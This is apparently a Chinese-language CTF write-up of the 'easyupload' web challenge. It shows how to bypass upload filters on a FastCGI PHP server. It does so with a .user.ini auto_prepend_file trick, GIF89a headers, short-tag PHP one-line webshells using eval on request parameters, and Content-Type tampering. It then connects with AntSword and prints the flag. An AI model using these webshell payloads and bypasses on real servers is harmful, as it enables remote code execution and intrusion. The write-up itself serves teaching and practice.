CTF-WEB篇 攻防世界题目实战解析easyupload

小徐小徐春风徐徐-- 2024-06-29 09:33:02 阅读 84

题目:easyupload  难度:1

知识点:

上传漏洞,服务器防护绕过,后门,.user.ini,auto_prepend_file的使用

本服务器使用了FastCGI,我们要用.user.ini对我们上传的漏洞加以隐藏。

有时候我们进行文件上传的时候,站点不仅在前端做了白名单处理,还在后端做了黑名单处理以及文件类型的检验且服务器没有配置"AddType application/x-httpd-php .php .phtml",这时我们就不能通过简单的绕过前端验证修改数据包的Content-Type并将文件后缀改为phtml以此来利用文件上传漏洞。

所以我们要配置一个.user.ini文件,使我们上传的文件能顺利绕过防护,拿到shell权限。

auto_prepend_file如何是什么?

auto_prepend_file可以让同目录下所有的php文件自动的包含某个文件。

举例:

在user.ini文件中写入

auto_prepend_file=muma.jpg

然后再在muma.jpg中写入

<?php eval($_REQUEST['muma']); ?>

如此,.user.ini与muma.jpg所在同目录下的所有.php文件都会带有muma.jpg文件。

关于fastcgi绕过

简言之 有四个要点

检查文件内容是否有php字符 

一句话木马里肯定不能有php字样, <?php @eval($_POST['mumapass']);?> 这种是不行的

可以用这种短标签绕过  <?=eval($_POST['mumapass']);?>

检查后缀中是否有htaccess或ph

上传.user.ini与正常的muma.jpg

检查文件头部信息

在文件头部添加一个图片的文件头来绕过

GIF89a

<?=eval($_REQUEST['muma']);?>

文件MIME类型

修改上传时的Content-Type

如上,是我在这题目中总结出的知识要点,如有错误,欢迎纠错。

以下,是我当时做题的完整思路

解题

步骤一 

写一个一句话木马,上传,发现被服务器拒绝

更改为jpg格式,上传

提示文件类型有问题,说明文件内.php代码被检测到,所以我们需绕过。

步骤二

新建编写,user.ini.txt代码 结合上述知识点

GIF89a

auto_prepend_file=muma.jpg

新建编写muma.txt文件代码 结合上述知识点

GIF89a

<?=eval($_REQUEST['muma']);?>

步骤三 上传并使用burpsuite抓包

因为user.ini文件直接上传还是会被阻拦,所以得运用到上面知识点的抓包更改context type。

抓包后更改参数

更改后我们顺利把.user.ini配置文件上传(上面截图这里我删漏了一个.,因为我是以txt文件上唇然后删除.txt,没想到删漏了个点,大家不要盲抄我的)

然后我们继续把muma.jpg上传

如法炮制更改

步骤四  蚁剑!

右键界面选择add添加,访问你上传的路径

这里要注意:

你所访问的index.php应该是在upload目录下的,因为上传的.user.ini缘故,该index.php才拥有后门,才能从此进入。

然后就可以开始找flag,当然你也可以一开始就把muma.jpg里的代码改成cat,直接抓取flag,还省的自己找。<?=system(‘cat/flag’);?>

cyberpeace{8e2de650bf1a5585e7919636a04c10d3}



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。